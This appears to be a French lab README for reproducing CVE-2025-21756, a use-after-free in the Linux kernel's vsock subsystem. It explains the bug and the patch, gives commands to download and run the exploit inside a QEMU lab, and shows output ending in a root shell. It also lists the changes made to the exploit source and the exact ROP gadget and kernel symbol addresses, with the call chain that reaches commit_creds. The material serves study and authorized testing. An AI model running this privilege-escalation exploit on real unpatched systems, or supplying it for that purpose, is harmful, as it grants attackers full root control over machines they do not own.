
CVE-2025-21756: L'attaque du Vsock
À des fins éducatives et de recherche en sécurité autorisée uniquement.
CVE-2025-21756 est une vulnérabilité use-after-free (UAF) dans le sous-système vsock (Virtual Socket) du noyau Linux, divulguée le 26 février 2025. Elle permet à un attaquant local d'élever ses privilèges à root sur les systèmes Linux affectés.
net/vmw_vsock/af_vsock.cLe bogue se produit lors de la réaffectation du transport d'une socket vsock. La séquence vulnérable est :
vsock_create() crée la socket avec refcnt=2 et l'insère dans la liste non liée (unbound)transport->release() appelle vsock_remove_bound() sans vérifier si la socket a été déplacée dans la liste liée, en décrémentant incorrectement refcntvsock_bind() suppose que la socket est toujours dans la liste non liée et appelle à nouveau _vsock_remove_bound()refcnt atteint 0 prématurément → l'objet vsock est libéré alors qu'il est toujours référencé → UAFvoid vsock_remove_sock(struct vsock_sock *vsk)
{
- vsock_remove_bound(vsk);
+ if (sock_flag(sk_vsock(vsk), SOCK_DEAD))
+ vsock_remove_bound(vsk);
vsock_remove_connected(vsk);
}
connect() consécutifs avec des CID produisant des transports différents provoquent la libération prématurée de l'objet vsock alors qu'il est toujours lié dans vsock_bind_tableunix_dgram_sendmsg avec des messages d'ordre 2 (MIGRATE_UNMOVABLE), la remplissant de données contrôléesvsock_diag_dump (non protégé par AppArmor) est utilisé comme canal auxiliaire pour détecter quand la page a été récupérée et localiser le décalage exact de l'objet victime dans la pagesk->sk_prot est écrasé pour pointer vers udp_prot+0x1c0 (udp_abort), qui lorsqu'il est appelé invoque sk->sk_error_report(sk), dont le pointeur est écrasé avec un gadget de pivotement de pilecommit_creds(init_cred) est exécuté pour attribuer les credentials root au processus, suivi du trampoline KPTI pour revenir en espace utilisateurexecve("/bin/sh") avec uid=0sudo# Download the setup script
wget -O setup-lab.sh <SCRIPT_URL>
chmod +x setup-lab.sh
# Run as a normal user (not root)
./setup-lab.sh
Le script gère automatiquement :
sudo s'il n'est pas disponiblebuild-essential, qemu-system-x86, bc, pahole, etc.)lts-6.6.75, rootfs, ramdisk)run_lab.sh comme point d'entrée uniquecd ~/cve-2025-21756-lab
./run_lab.sh
Une fois l'environnement démarré, exécutez les commandes suivantes à l'intérieur :
wget -O /tmp/exploit http://10.0.2.2:8080/exploit
chmod +x /tmp/exploit
/tmp/exploit
[*] Saved state
[+] KBASE @ 0xffffffff81000000
...
[END] SUCCESSFULLY FREED THE TARGET SLAB
...
[END] Found the correct offset! ROP pls
...
[*] I AM ROOT
# id
uid=0(root) gid=0(root) groups=0(root)
Pour quitter : Ctrl-A X
L'exploit de base provient de ktranowl. Les modifications suivantes ont été appliquées pour le faire fonctionner dans cet environnement :
Modification : nokaslr ajouté aux paramètres de démarrage du noyau.
Raison : L'exploit original contourne KASLR en utilisant EntryBleed, une technique de canal auxiliaire temporel TLB qui nécessite un timing CPU précis. Dans un environnement de virtualisation imbriquée, la précision de rdtsc est insuffisante pour qu'EntryBleed fonctionne de manière fiable, produisant un kbase incorrect qui rend toutes les adresses calculées avec ADDRESS() erronées. Désactiver KASLR garantit que le noyau se charge toujours à 0xffffffff81000000 et que les décalages codés en dur dans l'exploit sont toujours corrects.
user_rip changé de modeprobe_exec à check_rootModification dans exploit.c :
// Before
uint64_t user_rip = (uint64_t)modeprobe_exec;
// After
uint64_t user_rip = (uint64_t)check_root;
Raison : modeprobe_exec est la technique d'élévation de privilèges utilisée dans l'exploit original pour l'environnement kCTF distant. Elle nécessite des arguments de ligne de commande (IP et port d'un serveur distant) et une connectivité réseau externe. Sans ces arguments, le processus plante avec une GPF en essayant de lire argv[1]. check_root vérifie directement l'uid et exécute /bin/sh, ce qui est suffisant pour démontrer l'exploitation dans un environnement local.
modeprobe_exec supprimé dans check_rootModification dans exploit.c :
void check_root() {
if (getuid() == 0) {
puts("[*] I AM ROOT");
- modeprobe_exec(); // removed
char binsh[] = "/bin/sh";
char* const argv[] = {binsh, NULL};
execve("/bin/sh", argv, 0);
}
}
Raison : Même avec user_rip pointant vers check_root, cette fonction appelait à nouveau modeprobe_exec en interne avant d'exécuter /bin/sh. Sans les arguments requis, cet appel provoquait une GPF et le processus se terminait sans ouvrir un shell, bien que commit_creds ait déjà élevé les privilèges avec succès.
Lors du processus de configuration du laboratoire, tous les symboles du noyau et les gadgets ROP ont été vérifiés par rapport au noyau officiel kCTF lts-6.6.75 pour confirmer qu'ils étaient valides pour cet environnement.
Les trois gadgets utilisés dans l'exploit ont été extraits du noyau officiel en utilisant ROPgadget sur le binaire vmlinux et confirmés correspondre exactement aux valeurs codées en dur :
| Gadget | Adresse | Objectif |
|---|---|---|
pop rax ; and eax, ... ; pop rsp ; jmp ... | 0xffffffff8122ad32 | Pivot de pile — déplace RSP au début de l'objet vsock contrôlé |
add rsp, 0xb8 ; jmp ... | 0xffffffff8170292c | Avancement de pile — saute les champs réservés pour atteindre la chaîne ROP |
pop rdi ; ret | 0xffffffff8115e4f9 | Charger le premier argument pour commit_creds(init_cred) |
Aucun d'entre eux n'a nécessité de modification.
Les symboles suivants ont été vérifiés par rapport à /proc/kallsyms à l'intérieur du noyau (avec nokaslr, les décalages sont fixes) :
| Symbole | Adresse | Remarques |
|---|---|---|
vsock_bind_table[0x7a] | 0xffffffff84bc6280 | Ancrage du canal auxiliaire — l'emplacement de la liste vsock où atterrit l'objet victime |
init_net | 0xffffffff84bb1f80 | Utilisé pour valider le faux objet vsock via vsock_diag_dump |
commit_creds | 0xffffffff811fdac0 | Attribue les credentials root au processus courant |
init_cred | 0xffffffff83c74d80 | Structure de credentials avec uid=gid=0, à un décalage fixe de la base du noyau |
kpti_trampoline | 0xffffffff826011a6 | swapgs_restore_regs_and_return_to_usermode+0x36 — restaure CR3 et revient en espace utilisateur |
address_contain_udp_abort | 0xffffffff83ef28e0 | udp_prot + 0x1c0 — voir note ci-dessous |
Toutes les valeurs correspondaient aux originales dans l'exploit. Aucune modification n'était nécessaire.
address_contain_udp_abortCette valeur ne pointe pas directement vers la fonction udp_abort. Elle pointe vers udp_prot + 0x1c0, qui est le champ diag_destroy dans struct proto. C'est intentionnel : vsock_release appelle sk->sk_prot->close(sk, 0), où close est au décalage 0 de struct proto. En faisant pointer sk_prot vers udp_prot->diag_destroy au lieu du début de udp_prot, le noyau lit diag_destroy comme s'il s'agissait du pointeur close, qui contient udp_abort. Cela s'enchaîne vers sk_error_report(sk) → sk->sk_error_report(sk), où est placé le gadget de pivotement de pile.
vsock_release(sk)
└── sk->sk_prot->close(sk) ← sk_prot points to udp_prot+0x1c0
└── udp_abort(sk) ← diag_destroy field, read as close()
└── sk_error_report(sk)
└── sk->sk_error_report(sk) ← stack pivot gadget
└── ROP chain
└── commit_creds(init_cred)
└── kpti_trampoline → root shell
| Aspect | Original (ktranowl) | Ce laboratoire |
|---|---|---|
| Contournement de KASLR | EntryBleed (TLB timing) | Désactivé (nokaslr) |
| Technique d'élévation | modeprobe_exec via core_pattern | execve("/bin/sh") directement |
| Environnement cible | kCTF distant | Local |
| Connectivité externe requise | Oui | Non |
Le correctif officiel est disponible à partir du noyau 6.14-rc1 et a été rétroporté sur toutes les branches LTS maintenues. Les distributions concernées ont publié leurs propres avis :
| Ressource | URL |
|---|---|
| Article original (Hoefler) | https://hoefler.dev/articles/vsock.html |
| Exploit de Hoefler | https://github.com/hoefler02/CVE-2025-21756 |
| Analyse n-day (ktranowl) | https://hackmd.io/@ktranowl/H1XRm4zBxl |
| Exploit de ktranowl | https://github.com/khoatran107/cve-2025-21756 |
| Correctif officiel | https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=fcdd2242c023 |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2025-21756 |
| Règles kCTF | https://google.github.io/security-research/kernelctf/rules.html |
Cet outil est fourni uniquement à des fins éducatives et de tests de sécurité autorisés. Toute utilisation non autorisée contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite est illégale. L'auteur n'est pas responsable de toute utilisation abusive.